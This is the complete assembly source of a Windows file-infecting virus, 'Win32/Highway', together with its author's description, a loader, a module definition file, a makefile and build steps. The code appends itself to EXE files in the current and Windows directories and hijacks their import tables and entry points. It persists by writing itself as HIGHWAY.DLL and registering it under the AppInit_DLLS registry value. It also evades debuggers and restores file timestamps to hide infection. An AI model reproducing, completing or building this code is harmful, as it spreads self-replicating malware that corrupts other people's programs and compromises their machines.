Win32/Highway by Vecna/29A version 2 This is my first fully w32 compatible virus, and is a resident WinNT infector and a direct action w9x and w32s infector. This happen becoz the registry key that we use to go memory resident only exists under WinNT. When a infected file is run, the virus obtain GetProcAddress and GetModHandle directly from the host import table; we overwrite 2 RVA to API names in KERNEL descriptor with RVAs to our ones(GetProcAddress and GetModHandle). When the file is loaded, these APIs are ready for us, and we restore the old APIs using they(and skipping the ordinal, that was the first thing at the original RVA). This make us compatible with all w32 systems. The virus then copy itself to a file called HIGHWAY.DLL in windows system dir, and create a special key in the registry. The DLL is just the appended virus code, as the virus use the same format, a DLL, in the viral DLL and in infect files. Just the entrypoint is diferent in each case. Then the virus try to infect all EXE files in current directory and in windows directory. Files divisable by 101 without remainder are considered infected. The virus also dont infect others DLLs and file without any import from KERNEL, a very rare fact(at least ExitProcess must be imported!). In w9x and w32s systems, the lifecicle of the virus is complete then. But under WinNT, in next reboot, our key will start to work. All files loaded will have mapped, in their users space, the viral DLL, due the effects of this registry key. When DllMain of our DLL is called, the virus infect the current directory. Thus, all executed files in WinNT will trigger the infection of their base directory. The DLL then return 0, that mean to dont load the DLL. The infection routine is also exported in the DLL, thus making the virus usable as a BO-plugin. To compile the virus: *separate this file in the individual files. *type MAKE(you need 29A include files). ;----------------------------(HIGHWAY.ASM)------------------------------------ ;110, 120, 160 ;S¢ pra ver at‚ quando, ;o motor do carro aguenta. ;Na boca ao inves de um beijo, ;um chicle de menta. ;E a sombra de um sorriso que eu deixei, ;numa das curvas da highway. .386p .model flat locals .xlist include mz.inc include pe.inc include useful.inc include win32api.inc .list .data copyright db 'Ser  a estrada uma pris„o?', 0 mem dd 0 MapHandle dd 0 MapSize dd 0 MapMapping dd 0 MapAddress dd 0 ImportDescriptor dd 0 buffer db MAX_PATH dup (0) DirBuffer db MAX_PATH dup (0) finddata WIN32_FIND_DATA <0> .code DEBUG EQU FALSE CHANGEDIR EQU TRUE REGISTER EQU TRUE DIV_VALUE EQU 101 MINSIZE EQU 16*1024 WORKSIZE EQU 16*1024 DLLSIZE EQU 8192 ENTRY EQU 1536 KEY_ALL_ACCESS EQU 000F003Fh HKEY_LOCAL_MACHINE EQU 80000002H ofs equ offset dwo equ dword ptr wo equ word ptr by equ byte ptr extrn SetFileAttributesA :PROC extrn GetModuleFileNameA :PROC extrn CreateFileA :PROC extrn CloseHandle :PROC extrn CreateFileMappingA :PROC extrn MapViewOfFile :PROC extrn UnmapViewOfFile :PROC extrn VirtualAlloc :PROC extrn VirtualFree :PROC extrn GetSystemDirectoryA :PROC extrn GetWindowsDirectoryA:PROC extrn GetFileSize :PROC extrn SetFilePointer :PROC extrn SetEndOfFile :PROC extrn ReadFile :PROC extrn FindFirstFileA :PROC extrn FindNextFileA :PROC extrn FindClose :PROC extrn IsBadCodePtr :PROC extrn SetFileTime :PROC extrn SetCurrentDirectoryA:PROC extrn GetCurrentDirectoryA:PROC vcode equ this byte ExeEntry proc IF DEBUG EQ TRUE int 3 ENDIF call @@2 mov esp,[esp.EH_EstablisherFrame] jmp @@3 @@2: xor edx,edx push dwo fs:[edx] mov fs:[edx],esp ;set SEH frame call @@0 @@0: pop ebp sub ebp, ofs @@0-ofs ExeEntry call GetProcz ;get all needed APIs mov eax, dwo [ebp.(ofs _IsDebuggerPresent-ofs vcode)] test eax, eax jz @@1 ;w9x machine, dont check call dwo [ebp.(ofs _IsDebuggerPresent-ofs vcode)] jnz @@3 ;NT debugger? go out @@1: push MAX_PATH lea eax, [ebp.(ofs DynBuffer-ofs vcode)] push eax call dwo [ebp.(ofs _GetSystemDirectoryA-ofs vcode)] cld lea esi, [ebp.(ofs DynBuffer-ofs vcode)] @endsz dec esi mov edi, esi @pushsz '\HIGHWAY.DLL' pop esi @copysz push NULL push FILE_ATTRIBUTE_NORMAL push CREATE_ALWAYS push NULL push NULL push GENERIC_READ.GENERIC_WRITE lea eax, [ebp.(ofs DynBuffer-ofs vcode)] push eax call [ebp.(ofs _CreateFileA-ofs vcode)] ;create DLL cmp eax, INVALID_HANDLE_VALUE je @@3 mov ebx, eax push NULL @pushsz 'FREE' push DLLSIZE lea edx, [ebp-ENTRY] push edx push ebx call [ebp.(ofs _WriteFile-ofs vcode)] ;write DLL body! push ebx call [ebp.(ofs _CloseHandle-ofs ExeEntry)] IF REGISTER EQ TRUE @pushsz 'FREE' lea eax, [ebp.(ofs khandle-ofs vcode)] push eax push NULL push KEY_ALL_ACCESS push NULL push NULL push NULL @pushsz 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows' push HKEY_LOCAL_MACHINE ;create self-loading key call [ebp.(ofs _RegCreateKeyExA-ofs vcode)] test eax, eax jnz @@3 push 12 @pushsz 'HIGHWAY.DLL' push 1 push NULL @pushsz 'AppInit_DLLS' mov eax, [ebp.(ofs khandle-ofs vcode)] push eax ;set it to our DLL call [ebp.(ofs _RegSetValueExA-ofs vcode)] mov eax, [ebp.(ofs khandle-ofs vcode)] push eax call [ebp.(ofs _RegCloseKey-ofs vcode)] ENDIF @pushsz 'HIGHWAY.DLL' ;infect current directory call [ebp.(ofs _LoadLibraryA-ofs vcode)] @@3: @SEH_RemoveFrame db 0e9h ExeEntry endp oeip dd -1 GetProcz proc pusha call delta delta: pop edx sub edx, 12345678h ;edx=base hbase equ dwo $-4 mov esi, [ebp.(ofs RVAImport-ofs vcode)] add esi, edx mov edi, esi ;get GetModuleHandleA from lodsd ;host import table! mov [ebp.(ofs _GetModuleHandle-ofs vcode)], eax lodsd ;get GetProcAddress too mov [ebp.(ofs _GetProcAddress-ofs vcode)], eax push edx push edx @pushsz 'KERNEL32' call [ebp.(ofs _GetModuleHandle-ofs vcode)] mov ebx, eax pop eax add eax, [ebp.(ofs FirstAPI-ofs vcode)] add eax, 2 ;skip ordinal order push eax push ebx call [ebp.(ofs _GetProcAddress-ofs vcode)] stosd ;restore API requested by host pop edx add edx, [ebp.(ofs SecondAPI-ofs vcode)] add edx, 2 push edx push ebx call [ebp.(ofs _GetProcAddress-ofs vcode)] stosd ;restore the 2nd one too @pushsz 'GetSystemDirectoryA' push ebx call [ebp.(ofs _GetProcAddress-ofs vcode)] mov [ebp.(ofs _GetSystemDirectoryA-ofs vcode)], eax @pushsz 'CreateFileA' push ebx call [ebp.(ofs _GetProcAddress-ofs vcode)] mov [ebp.(ofs _CreateFileA-ofs vcode)], eax @pushsz 'CloseHandle' push ebx call [ebp.(ofs _GetProcAddress-ofs vcode)] mov [ebp.(ofs _CloseHandle-ofs vcode)], eax @pushsz 'WriteFile' push ebx call [ebp.(ofs _GetProcAddress-ofs vcode)] mov [ebp.(ofs _WriteFile-ofs vcode)], eax @pushsz 'LoadLibraryA' push ebx call [ebp.(ofs _GetProcAddress-ofs vcode)] mov [ebp.(ofs _LoadLibraryA-ofs vcode)], eax @pushsz 'IsDebuggerPresent' push ebx ;this API only exists in winNT call [ebp.(ofs _GetProcAddress-ofs vcode)] mov [ebp.(ofs _IsDebuggerPresent-ofs vcode)], eax IF REGISTER EQ TRUE @pushsz 'ADVAPI32' call [ebp.(ofs _GetModuleHandle-ofs vcode)] mov ebx, eax @pushsz 'RegCloseKey' push ebx call [ebp.(ofs _GetProcAddress-ofs vcode)] mov [ebp.(ofs _RegCloseKey-ofs vcode)], eax @pushsz 'RegCreateKeyExA' push ebx call [ebp.(ofs _GetProcAddress-ofs vcode)] mov [ebp.(ofs _RegCreateKeyExA-ofs vcode)], eax @pushsz 'RegSetValueExA' push ebx call [ebp.(ofs _GetProcAddress-ofs vcode)] mov [ebp.(ofs _RegSetValueExA-ofs vcode)], eax ENDIF popa ret GetProcz endp public DllEntry DllEntry proc STDCALL IF DEBUG EQ TRUE int 3 ENDIF pusha push PAGE_READWRITE push MEM_COMMIT.MEM_RESERVE push DLLSIZE push NULL call VirtualAlloc mov [mem], eax test eax, eax jz @@1 push MAX_PATH push ofs buffer call GetSystemDirectoryA cld mov esi, ofs buffer @endsz dec esi mov edi, esi @pushsz '\HIGHWAY.DLL' pop esi @copysz push NULL push FILE_ATTRIBUTE_NORMAL push OPEN_EXISTING push NULL push FILE_SHARE_READ push GENERIC_READ push ofs buffer call CreateFileA cmp eax, INVALID_HANDLE_VALUE je @@0 mov ebx, eax push NULL @pushsz 'FREE' push DLLSIZE push dwo [mem] push ebx call ReadFile ;read DLL to buffer push ebx call CloseHandle push MAX_PATH push ofs buffer push NULL call GetModuleFileNameA call ProcessDirectory ;infect current directory IF CHANGEDIR EQ TRUE push ofs DirBuffer push MAX_PATH call GetCurrentDirectoryA ;save current directory test eax, eax jz @@0 push MAX_PATH push ofs buffer call GetWindowsDirectoryA test eax, eax jz @@0 push ofs buffer call SetCurrentDirectoryA test eax, eax jz @@0 cld mov esi, ofs buffer @endsz mov wo [esi-1], '\' call ProcessDirectory ;infect /windows/ push ofs DirBuffer call SetCurrentDirectoryA ;restore home directory ENDIF @@0: push MEM_DECOMMIT.MEM_RELEASE push NULL push dwo [mem] call VirtualFree @@1: popa sub eax, eax ;ERROR_NO_LOAD ret 12 DllEntry endp ProcessDirectory proc mov esi, ofs buffer @@3: lodsb cmp al, '\' jne @@0 mov edi, esi @@0: or al, al jnz @@3 mov eax, 'XE.*' stosd mov eax, 'E' ;make wildcard stosd push ofs finddata push ofs buffer call FindFirstFileA cmp eax, INVALID_HANDLE_VALUE je @@1 @@2: push eax push ofs finddata push eax lea edx, [finddata.WFD_szFileName] push edx call Infect ;process file call FindNextFileA test eax, eax pop eax jnz @@2 push eax call FindClose @@1: ret ProcessDirectory endp public Infect Infect proc mov edx, [esp.Arg1] pusha call @@4 mov esp,[esp.EH_EstablisherFrame] jmp @@2 @@4: push dwo fs:[0] mov fs:[0],esp ;set SEH call MapFile jc @@2 mov edi, [MapAddress] push edi call IsBadCodePtr cmp eax, NULL ;check if mapping failed jne @@2 cmp [edi.MZ_magic], IMAGE_DOS_SIGNATURE jne @@0 add edi, [edi.MZ_lfanew] mov esi, edi push esi call IsBadCodePtr cmp eax, NULL ;check if not new exe file jne @@0 cmp [esi.NT_Signature], IMAGE_NT_SIGNATURE jne @@0 cmp [esi.NT_FileHeader.FH_Machine], IMAGE_FILE_MACHINE_I386 jne @@0 cmp [esi.NT_OptionalHeader.OH_Magic], IMAGE_NT_OPTIONAL_HDR_MAGIC jne @@0 ; test [esi.NT_FileHeader.FH_Characteristics], IMAGE_FILE_EXECUTABLE_IMAGE ; jz @@0 bt [esi.NT_FileHeader.FH_Characteristics], 1 jnc @@0 ; test [esi.NT_FileHeader.FH_Characteristics], IMAGE_FILE_DLL ; jnz @@0 bt [esi.NT_FileHeader.FH_Characteristics], 13 jc @@0 movzx eax, wo [esi.NT_FileHeader.FH_NumberOfSections] test eax, eax jz @@0 call SetupImports ;examine import table of host jc @@0 ;and set needed values dec eax xor edx, edx mov ecx, IMAGE_SIZEOF_SECTION_HEADER mul ecx add edi, eax add edi, IMAGE_SIZEOF_NT_OPTIONAL_HEADER.IMAGE_SIZEOF_FILE_HEADER.4 mov eax, [edi.SH_VirtualSize] mov ecx, [edi.SH_SizeOfRawData] add dwo [edi.SH_VirtualSize], DLLSIZE ;increase last section add dwo [edi.SH_SizeOfRawData], DLLSIZE add dwo [esi.NT_OptionalHeader.OH_SizeOfImage], DLLSIZE cmp eax, ecx jnb @@1 xchg eax, ecx @@1: mov ecx, eax add eax, [edi.SH_VirtualAddress] add ecx, [edi.SH_PointerToRawData] mov [MapSize], ecx add [MapSize], DLLSIZE add eax, ENTRY mov [edi.SH_Characteristics], IMAGE_SCN_CNT_INITIALIZED_DATA . \ IMAGE_SCN_MEM_READ . \ IMAGE_SCN_MEM_WRITE mov ebx, [esi.NT_OptionalHeader.OH_AddressOfEntryPoint] mov [esi.NT_OptionalHeader.OH_AddressOfEntryPoint], eax push eax add eax, ofs delta-ofs vcode push eax mov eax, [esp.4] ; ;-) add eax, (ofs oeip-ofs vcode).4 sub eax, ebx ;calculate entrypoint neg eax mov esi, [mem] mov [esi.ENTRY.(ofs oeip-ofs vcode)], eax pop eax mov [esi.ENTRY.(ofs hbase-ofs vcode)], eax push esi push ecx lea edi, [esi.ENTRY.(ofs RAWImport-ofs vcode)] mov esi, ofs RAWImport mov ecx, 5 cld rep movsd ;copy info between dll->exe pop ecx pop esi mov edi, ecx add edi, [MapAddress] mov ecx, DLLSIZE/4 rep movsd ;append virus body mov edi, [RAWImport] mov ebx, [RAWHint] test ebx, ebx jnz @@3 ;if HintTable dont exists, mov ebx, edi ;use same pointer @@3: pop ecx mov eax, ecx add eax, (ofs hGetModuleHandleA-ofs vcode) stosd mov [ebx], eax ;insert 1th import!!! mov eax, ecx add eax, (ofs hGetProcAddress-ofs vcode) stosd mov [ebx.4], eax ;insert 2nd import!!! @@0: call UnmapFile @@2: @SEH_RemoveFrame popa ret 4 ;clean pushed paramz Infect endp RVA2RAW proc pusha mov esi, [MapAddress] add esi, [esi.MZ_lfanew] add esi, IMAGE_SIZEOF_NT_OPTIONAL_HEADER.IMAGE_SIZEOF_FILE_HEADER.4 @@1: mov ebx, eax sub ebx, [esi.SH_VirtualAddress] cmp ebx, [esi.SH_VirtualSize] jb @@0 add esi, IMAGE_SIZEOF_SECTION_HEADER ;next section jmp @@1 @@0: add ebx, [esi.SH_PointerToRawData] ;transform in file pointer mov [esp.Pushad_eax], ebx popa ret RVA2RAW endp SetupImports proc pusha mov ecx, [esi.NT_OptionalHeader.OH_DirectoryEntries.DE_Import \ .DD_Size] test ecx, ecx jz @@0 ;no importz? mov eax, [esi.NT_OptionalHeader.OH_DirectoryEntries.DE_Import \ .DD_VirtualAddress] call RVA2RAW mov edx, [MapAddress] add eax, edx @@3: mov ecx, [eax.ID_Name] test ecx, ecx jz @@0 ;end of array? push eax mov eax, ecx call RVA2RAW mov eax, [eax.edx] and eax, not 20202020h cmp eax, 'NREK' ;are imports from KERNEL32?? pop eax je @@2 add eax, IMAGE_SIZEOF_IMPORT_DESCRIPTOR ;check next DLL jmp @@3 @@2: sub ebx, ebx mov [ImportDescriptor], eax push eax mov eax, [eax.ID_Characteristics] mov [RVAHint], eax test eax, eax jz @@6 call RVA2RAW add eax, edx ;get RVA&RAW of HintTable @@6: mov [RAWHint], eax pop eax mov ecx, [eax.ID_FirstThunk] mov [RVAImport], ecx jecxz @@0 mov eax, ecx call RVA2RAW add eax, edx mov [RAWImport], eax ;get RVA&RAW of first chunk @@7: mov esi, eax mov edi, ofs FirstAPI lodsd stosd test eax, eax ;w9x bound or ordinal? jz @@0 add eax, 100000h ;NT bound? or eax, eax jns @@4 @@5: or ebx, ebx jnz @@0 ;already tried to unbound? mov eax, [RAWHint] test eax, eax jz @@0 mov [RAWImport], eax ;unbound(hinttable=first chunk) push eax mov eax, [RVAHint] mov [RVAImport], eax mov ebx, [ImportDescriptor] sub eax, eax mov [ebx.ID_TimeDateStamp], eax ;zero date/time of dll xchg eax, [ebx.ID_Characteristics] mov [ebx.ID_FirstThunk], eax ;put FirstChunk=HintTable and pop eax ;HintTable=0 jmp @@7 @@4: lodsd stosd ;process 2nd import(only 2 are test eax, eax ;needed by virus) jz @@0 add eax, 100000h or eax, eax js @@5 @@1: clc db 0b1h ;mov cl, ? ;-) @@0: stc ;error in imports, no infect popa ret SetupImports endp MapFile proc pusha push FILE_ATTRIBUTE_NORMAL push edx call SetFileAttributesA or eax, eax jz @@1 push NULL push FILE_ATTRIBUTE_NORMAL push OPEN_EXISTING push NULL push FILE_SHARE_READ push GENERIC_WRITE+GENERIC_READ push dwo [esp.Pushad_edx.(6*4)] call CreateFileA cmp eax, INVALID_HANDLE_VALUE je _restoreattr mov [MapHandle], eax push NULL push dwo [MapHandle] call GetFileSize mov [MapSize], eax cmp eax, MINSIZE jb _closefile test eax, eax js _closefile push ecx push edx push eax mov ecx, DIV_VALUE xor edx, edx div ecx or edx, edx pop eax pop edx pop ecx jz _closefile add eax, WORKSIZE push NULL push eax push NULL push PAGE_READWRITE push NULL push dwo [MapHandle] call CreateFileMappingA or eax, eax jz _closefile mov [MapMapping], eax push NULL push NULL push NULL push FILE_MAP_ALL_ACCESS push dwo [MapMapping] call MapViewOfFile or eax, eax je _closemap mov [MapAddress], eax clc db 0b1h @@1: stc popa ret MapFile endp UnmapFile proc pusha push dwo [MapAddress] call UnmapViewOfFile _closemap: push dwo [MapMapping] call CloseHandle push NULL push NULL mov eax, [MapSize] mov ecx, DIV_VALUE xor edx, edx div ecx inc eax mul ecx push eax push dwo [MapHandle] call SetFilePointer push dwo [MapHandle] call SetEndOfFile std lea edi, [finddata.WFD_ftLastWriteTime.FT_dwLowDateTime] push edi scasd scasd push edi scasd scasd push edi push dwo [MapHandle] call SetFileTime _closefile: push dwo [MapHandle] call CloseHandle _restoreattr: push [finddata.WFD_dwFileAttributes] lea eax, [finddata.WFD_szFileName] push eax call SetFileAttributesA popa ret UnmapFile endp hGetModuleHandleA dw 029Ah db 'GetModuleHandleA', 0 hGetProcAddress dw 0000h db 'GetProcAddress', 0 _GetModuleHandle dd 0 _GetProcAddress dd 0 _GetSystemDirectoryA dd 0 _CreateFileA dd 0 _CloseHandle dd 0 _WriteFile dd 0 _LoadLibraryA dd 0 _IsDebuggerPresent dd 0 IF REGISTER EQ TRUE _RegCloseKey dd 0 _RegCreateKeyExA dd 0 _RegSetValueExA dd 0 khandle dd 0 ENDIF RAWHint dd 0 RVAHint dd 0 RAWImport dd 0 RVAImport dd 0 FirstAPI dd 0 SecondAPI dd 0 DynBuffer db MAX_PATH dup(0) End DllEntry ;----------------------------(HIGHWAY.DEF)------------------------------------ LIBRARY HIGHWAY DESCRIPTION 'Assembly Win32 DLL-Based Virus' EXETYPE WINDOWS CODE PRELOAD DATA PRELOAD SINGLE EXPORTS DllEntry Infect ;-----------------------------(LOADER.ASM)------------------------------------ ;Execute LOADER.EXE to make the virus execute for first time. ;All file in current directory and windows directory will be infected then. ;This first generation loader dont work under w32s! .386p .model flat .data dllname db 'HIGHWAY.DLL', 0 .code extrn LoadLibraryA:PROC extrn ExitProcess:PROC extrn GetModuleHandleA:PROC extrn GetProcAddress:PROC main: mov eax, offset dllname push eax call LoadLibraryA push 0 call ExitProcess end main ;------------------------------(MAKEFILE)------------------------------------- DLLFLAG=/c /Tpd /s ASMFLAG=/l /m /ml /z /zi all : highway.dll loader.exe highway.dll : highway.obj tlink32 $(DLLFLAG) highway.obj,highway.dll,highway.map,import32.lib,highway.def pewrsec highway.dll tdump -R -v highway.dll highway.dmp highway.obj : highway.asm tasm32 $(ASMFLAG) highway.asm,highway.obj,highway.lst,highway.xrf loader.exe : loader.obj tlink32 -c -Tpe -x loader.obj,loader.exe,,import32.lib loader.obj : loader.asm tasm32 $(ASMFLAG) loader.asm,loader.obj,loader.lst,loader.xrf